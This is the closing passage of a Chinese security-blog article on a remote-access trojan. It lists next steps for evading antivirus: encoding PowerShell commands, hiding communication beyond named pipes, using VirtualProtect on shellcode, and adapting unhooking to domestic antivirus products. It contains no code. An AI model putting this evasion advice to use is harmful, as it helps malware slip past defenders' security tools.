  1. 现在的混淆存在一定被破解的风险,powershell的命令可采用ec加密等方式进一步免杀

  2. namepipe的方式略微单一,可以增加更加多样、更加隐蔽的通信方式

  3. 可以使用VirtualProtect进行shellcode免杀

  4. unhook考虑的多为系统原生和国外杀软,在国内应用时需要考虑到国产杀软的原理来进行二次开发

# RAT # 系统安全 # 远控木马 # 免杀木马
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录